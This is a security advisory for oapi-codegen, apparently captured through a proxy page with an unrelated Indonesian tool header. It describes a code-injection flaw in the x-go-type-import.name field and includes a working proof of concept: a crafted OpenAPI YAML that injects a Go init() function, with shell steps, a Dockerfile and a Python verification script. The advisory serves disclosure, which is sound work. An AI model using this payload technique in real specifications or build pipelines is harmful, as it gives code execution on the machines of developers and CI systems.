Pewarta Proxy

πŸ“‹ Server Request & Proxy Logs

Loading active proxy settings...
Developed by Khairul Adha (adhexa.id)
Mengambil log server...

βš™οΈ Pengaturan Proxy Target

Skip to content

OpenAPI `x-go-type-import` Generated Go Code Injection

Moderate
mromaszewicz published GHSA-9c2f-gr95-7wqw Jul 21, 2026

Package

gomod github.com/oapi-codegen/oapi-codegen (Go)

Affected versions

HEAD

Patched versions

None

Description

OpenAPI x-go-type-import Generated Go Code Injection

Summary

oapi-codegen copies the x-go-type-import.name field from an OpenAPI specification directly into generated Go import statements without any validation. An attacker who can supply a malicious OpenAPI document can inject arbitrary Go code into the generated source file. The injected code executes automatically at package initialization time whenever a victim developer, CI pipeline, or downstream tool compiles or runs the generated package, resulting in full arbitrary code execution on the victim's machine.

Details

The vulnerability exists in the following data flow:

  1. Source β€” cmd/oapi-codegen/oapi-codegen.go:321: The CLI accepts an OpenAPI document path or URL as input with no trust requirement.

  2. Loader β€” pkg/util/loader.go:23-28: The document is loaded via LoadFromURI / LoadFromFile and its contents are fully trusted.

  3. Missing validation β€” pkg/codegen/validate_spec.go:155-186: ValidateSpec / checkExtensions validates x-go-name, x-go-type-name, x-go-type, and x-oapi-codegen-extra-tags, but does not validate x-go-type-import at all.

  4. Unsanitized copy β€” pkg/codegen/utils.go:1161 and 1167 (ParseGoImportExtension): The attacker-controlled string values are assigned directly to gi.Name and gi.Path without any character or structure validation:

    // pkg/codegen/utils.go
    if strings.EqualFold(k, "name") {
        if vs, ok := v.(string); ok {
            gi.Name = vs   // line 1161 β€” no validation
    ...
    } else if strings.EqualFold(k, "path") {
        if vs, ok := v.(string); ok {
            gi.Path = vs   // line 1167 β€” no validation
  5. Unquoted format β€” pkg/codegen/codegen.go:85-89 (goImport.String()): gi.Name is formatted with %s (unquoted), so embedded newlines and arbitrary Go tokens pass through verbatim:

    func (gi goImport) String() string {
        if gi.Name != "" {
            return fmt.Sprintf("%s %q", gi.Name, gi.Path)
        }
  6. Unescaped template sink β€” pkg/codegen/templates/imports.tmpl:36-37: The formatted import string is emitted directly into the generated Go source file with no escaping:

    {{- range .ExternalImports}}
    {{ . }}
    {{- end}}
    
  7. Output written regardless of format errors β€” cmd/oapi-codegen/oapi-codegen.go:332-347: Even when goimports fails to reformat the injected output, the raw generated code is still written to stdout and captured by the caller.

By embedding newlines in x-go-type-import.name, an attacker can close the import ( block early, inject a package-level init() function containing arbitrary Go code, and then reopen a dummy var ( block so that the surrounding generated tokens remain syntactically valid. The resulting file is accepted by the Go compiler without warnings.

PoC

Prerequisites: oapi-codegen built from commit 1ffa4b970959ef6f31f78ae210875b4c3389a96c, Go 1.23+.

tmp=$(mktemp -d)
marker="$tmp/oapi-codegen-pwned"

cat > "$tmp/poc.yaml" <<YAML
openapi: 3.0.3
info:
  title: import injection poc
  version: 1.0.0
paths:
  /pwn:
    get:
      operationId: getPwn
      responses:
        '200':
          description: ok
          content:
            application/json:
              schema:
                \$ref: '#/components/schemas/Pwn'
components:
  schemas:
    Pwn:
      type: string
      x-go-type: os.FileInfo
      x-go-type-import:
        name: |-
          _ "unsafe"
          )
          func init() { _ = os.WriteFile("$marker", []byte("pwned"), 0644) }
          var (
          _ =
        path: ignored
YAML

# Step 1 β€” Generate Go source (the injection lands in the import block)
go run ./cmd/oapi-codegen "$tmp/poc.yaml" > "$tmp/poc.gen.go"

# Step 2 β€” Create a minimal module that imports the generated package
mkdir -p "$tmp/repro"
cp "$tmp/poc.gen.go" "$tmp/repro/poc.go"
cat > "$tmp/repro/go.mod" <<'MOD'
module repro
go 1.23
require (
  github.com/getkin/kin-openapi v0.142.0
  github.com/labstack/echo/v4 v4.11.4
  github.com/oapi-codegen/runtime v1.1.2
  github.com/oapi-codegen/nullable v1.0.0
  go.yaml.in/yaml/v3 v3.0.4
)
MOD
cat > "$tmp/repro/poc_test.go" <<'TEST'
package poc
import "testing"
func TestInitRuns(t *testing.T) {}
TEST

# Step 3 β€” Build/run triggers init(); marker file is created
(cd "$tmp/repro" && go test ./...)

# Expected: prints "pwned"
cat "$marker"

Expected result: cat "$marker" prints pwned, confirming that the injected init() function executed at package initialization time. This was verified dynamically: the container created /tmp/oapi-pwned containing PWNED: x-go-type-import code injection confirmed, and func init() was confirmed present in the generated source.

Docker-based reproduction (as used in Phase 2 dynamic verification):

# From the repository root (parent of vuln-001/)
docker build -t vuln-001-oapi-codegen-injection -f vuln-001/Dockerfile .
docker run --rm vuln-001-oapi-codegen-injection

Impact

This is a code injection vulnerability (CWE-94). Any developer or automated system (CI/CD pipeline, IDE plugin, build tool) that runs oapi-codegen against a third-party or attacker-supplied OpenAPI specification is at risk. The injected init() function executes with the full privileges of the process that compiles or tests the generated package β€” no interaction beyond go build / go test is required.

Concrete attack scenarios include:

  • Supply-chain attack: A malicious OpenAPI specification published on a public registry or embedded in a library causes RCE on any developer machine or CI runner that regenerates client/server code.
  • Repository poisoning: An attacker with write access to a specification file in a repository triggers RCE for all contributors who run the code-generation step.
  • Malicious SDK distribution: A threat actor distributes a crafted OpenAPI spec alongside documentation or tooling, targeting developers who follow the standard oapi-codegen workflow.

All three pillars of confidentiality, integrity, and availability are impacted: the injected code can exfiltrate secrets, corrupt build artifacts, or crash the build environment. The attack requires no authentication, no elevated privileges, and no non-default configuration.

Reproduction artifacts

Dockerfile

FROM golang:1.25-bookworm

# ──────────────────────────────────────────────────────────────────────────────
# Stage 1 – Build oapi-codegen from the cloned source repo
# ──────────────────────────────────────────────────────────────────────────────
WORKDIR /src
COPY repo/ /src/
RUN go build -o /usr/local/bin/oapi-codegen ./cmd/oapi-codegen/

# ──────────────────────────────────────────────────────────────────────────────
# Stage 2 – Pre-download Go module dependencies that generated code may need.
#
# goimports should eliminate unused external imports in the clean-injection
# case, leaving only stdlib.  But we pre-fetch the runtime packages in case
# goimports cannot reformat the code and the raw template output is used.
# ──────────────────────────────────────────────────────────────────────────────
WORKDIR /tmp/predl
RUN printf 'module predl\ngo 1.23.0\nrequire (\n\tgithub.com/oapi-codegen/runtime v1.5.0\n\tgithub.com/oapi-codegen/nullable v1.1.0\n\tgithub.com/getkin/kin-openapi v0.142.0\n\tgo.yaml.in/yaml/v3 v3.0.4\n)\n' > go.mod && \
    printf 'package predl\nimport (_ "github.com/oapi-codegen/runtime"\n_ "github.com/getkin/kin-openapi/openapi3")\n' > dummy.go && \
    go mod tidy && \
    go mod download

# ──────────────────────────────────────────────────────────────────────────────
# Attack workspace
# ──────────────────────────────────────────────────────────────────────────────
WORKDIR /attack
COPY vuln-001/run.sh /attack/run.sh
RUN chmod +x /attack/run.sh

CMD ["/attack/run.sh"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: OpenAPI x-go-type-import Generated Go Code Injection
CWE-94 β€” Improper Control of Generation of Code
CVSS 3.1: 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

Vulnerability: oapi-codegen copies x-go-type-import.name into generated Go
source without sanitization. A malicious OpenAPI spec can inject arbitrary Go
code that executes when the generated package is compiled/initialized.

Attack chain:
  malicious spec --> oapi-codegen --> injected init() in generated .go
                 --> go test/build --> arbitrary code runs at package init

Usage:
    python3 poc.py

Expected result (PASS): The container creates /tmp/oapi-pwned containing
    "PWNED: x-go-type-import code injection confirmed"
    proving that the injected init() function executed.
"""

import json
import os
import subprocess
import sys

# ──────────────────────────────────────────────────────────────────────────────
# Paths
# ──────────────────────────────────────────────────────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
# Docker build context: the parent directory that contains both repo/ and
# vuln-001/ so that the Dockerfile can COPY both trees.
CONTEXT_DIR = os.path.dirname(SCRIPT_DIR)

IMAGE_NAME = "vuln-001-oapi-codegen-injection"
RESULT_PATH = os.path.join(SCRIPT_DIR, "phase2_result.json")

BUILD_CMD = f"docker build -t {IMAGE_NAME} -f vuln-001/Dockerfile ."
RUN_CMD = f"docker run --rm {IMAGE_NAME}"
POC_CMD = "python3 poc.py"


def run(argv, **kwargs):
    """Run a subprocess, streaming output, and return CompletedProcess."""
    print(f"[cmd] {' '.join(argv)}")
    result = subprocess.run(argv, capture_output=True, text=True, **kwargs)
    return result


def write_result(passed, verdict, reason, evidence, build_cmd=BUILD_CMD,
                 run_cmd=RUN_CMD, poc_cmd=POC_CMD):
    data = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": build_cmd,
        "run_command": run_cmd,
        "poc_command": poc_cmd,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    with open(RESULT_PATH, "w", encoding="utf-8") as fh:
        json.dump(data, fh, ensure_ascii=False, indent=2)
    print(f"[*] Result written to {RESULT_PATH}")
    return data


def main():
    # ──────────────────────────────────────────────────────────────────────────
    # Step 1 – Build Docker image.
    # ──────────────────────────────────────────────────────────────────────────
    print("\n[*] Building Docker image (this downloads Go deps; may take a few minutes)...")
    build_result = run(
        ["docker", "build", "-t", IMAGE_NAME, "-f", "vuln-001/Dockerfile", "."],
        cwd=CONTEXT_DIR,
    )
    if build_result.returncode != 0:
        msg = build_result.stderr[-2000:] if build_result.stderr else "(no stderr)"
        print(f"[-] Docker build failed:\n{msg}")
        write_result(
            passed=False,
            verdict="INCOMPLETE",
            reason=f"Docker 이미지 λΉŒλ“œ μ‹€νŒ¨. λΉŒλ“œ 였λ₯˜: {msg[:300]}",
            evidence=msg[:500],
        )
        return 1

    print("[+] Docker image built successfully.")

    # ──────────────────────────────────────────────────────────────────────────
    # Step 2 – Run the container, which executes run.sh.
    # ──────────────────────────────────────────────────────────────────────────
    print("\n[*] Running PoC container...")
    run_result = run(
        ["docker", "run", "--rm", IMAGE_NAME],
        cwd=CONTEXT_DIR,
    )

    combined = run_result.stdout + "\n" + run_result.stderr
    print("\n──── Container output ─────────────────────────────────────────")
    print(combined[:8000])
    print("───────────────────────────────────────────────────────────────")

    # ──────────────────────────────────────────────────────────────────────────
    # Step 3 – Evaluate evidence.
    #
    # PASS criteria (all must hold):
    #   (a) "func init()" appears in the generated Go source.
    #   (b) The marker file /tmp/oapi-pwned was created (evidenced by the
    #       "INJECTION PROOF" banner and the "PWNED:" string).
    #   (c) Container exited 0.
    # ──────────────────────────────────────────────────────────────────────────
    has_init_injection = "func init()" in combined
    has_marker_proof = "INJECTION PROOF" in combined and "PWNED:" in combined
    container_ok = run_result.returncode == 0

    if has_init_injection and has_marker_proof and container_ok:
        # Extract the most relevant evidence snippet.
        lines = combined.splitlines()
        evidence_lines = [
            l for l in lines
            if any(k in l for k in [
                "func init()", "INJECTION PROOF", "PWNED:", "EXPLOIT CONFIRMED",
                "Marker file", "Content:",
            ])
        ]
        evidence = "\n".join(evidence_lines[:20])

        print("\n[+] EXPLOIT CONFIRMED")
        result = write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "x-go-type-import.name ν•„λ“œμ— μ‚½μž…λœ 닀쀑 라인 νŽ˜μ΄λ‘œλ“œκ°€ oapi-codegen의 "
                "무검증 볡사(utils.go:1161)λ₯Ό 톡해 imports.tmpl:37의 {{ . }}에 직접 μ‚½μž…λ˜μ–΄, "
                "μž„ν¬νŠΈ 블둝을 쑰기에 λ‹«κ³  νŒ¨ν‚€μ§€ μˆ˜μ€€μ˜ init() ν•¨μˆ˜λ₯Ό μ£Όμž…ν•˜λŠ” 데 μ„±κ³΅ν–ˆλ‹€. "
                "μƒμ„±λœ νŒ¨ν‚€μ§€λ₯Ό go test둜 μ΄ˆκΈ°ν™”ν•˜μž init()κ°€ μ‹€ν–‰λ˜μ–΄ 마컀 파일 "
                "/tmp/oapi-pwned κ°€ μƒμ„±λ¨μœΌλ‘œμ¨ μž„μ˜ μ½”λ“œ 싀행이 λ™μ μœΌλ‘œ ν™•μΈλ˜μ—ˆλ‹€."
            ),
            evidence=evidence,
        )
        print(json.dumps(result, ensure_ascii=False, indent=2))
        return 0

    # ──────────────────────────────────────────────────────────────────────────
    # Partial or total failure
    # ──────────────────────────────────────────────────────────────────────────
    if has_init_injection and not has_marker_proof:
        verdict = "INCOMPLETE"
        reason = (
            "μƒμ„±λœ Go μ†ŒμŠ€μ— init() μ£Όμž…μ€ ν™•μΈλμœΌλ‚˜ 마컀 파일이 μƒμ„±λ˜μ§€ μ•Šμ•˜λ‹€. "
            "go test 컴파일 μ‹€νŒ¨ κ°€λŠ₯μ„± 있음. μƒμ„±λœ μ½”λ“œμ˜ μ™ΈλΆ€ μ˜μ‘΄μ„± 확인 ν•„μš”. "
            "run.sh의 Attempt B(μ™ΈλΆ€ νŒ¨ν‚€μ§€ 포함 go.mod) 둜그λ₯Ό μ κ²€ν•˜κ±°λ‚˜, "
            "인터넷 접근이 κ°€λŠ₯ν•œ ν™˜κ²½μ—μ„œ μž¬μ‹œλ„ ꢌμž₯."
        )
    else:
        verdict = "FAIL"
        reason = (
            "μƒμ„±λœ Go μ†ŒμŠ€μ— init() μ£Όμž…μ΄ ν™•μΈλ˜μ§€ μ•Šμ•˜λ‹€. "
            "였api-codegen이 x-go-type-import.name을 λ‹€λ₯΄κ²Œ μ²˜λ¦¬ν–ˆκ±°λ‚˜, "
            "YAML νŒŒμ‹± λ‹¨κ³„μ—μ„œ νŽ˜μ΄λ‘œλ“œκ°€ λ³€ν˜•λ˜μ—ˆμ„ κ°€λŠ₯성이 μžˆλ‹€. "
            "poc.yaml의 λ“€μ—¬μ“°κΈ° 및 블둝 슀칼라 문법을 μž¬κ²€ν† ν•˜κ³ , "
            "μ»¨ν…Œμ΄λ„ˆ λ‘œκ·Έμ—μ„œ oapi-codegen stderrλ₯Ό 확인할 것."
        )

    evidence = combined[-2000:]
    result = write_result(
        passed=False,
        verdict=verdict,
        reason=reason,
        evidence=evidence,
    )
    print(json.dumps(result, ensure_ascii=False, indent=2))
    return 1


if __name__ == "__main__":
    sys.exit(main())

Severity

Moderate

CVE ID

No known CVE

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.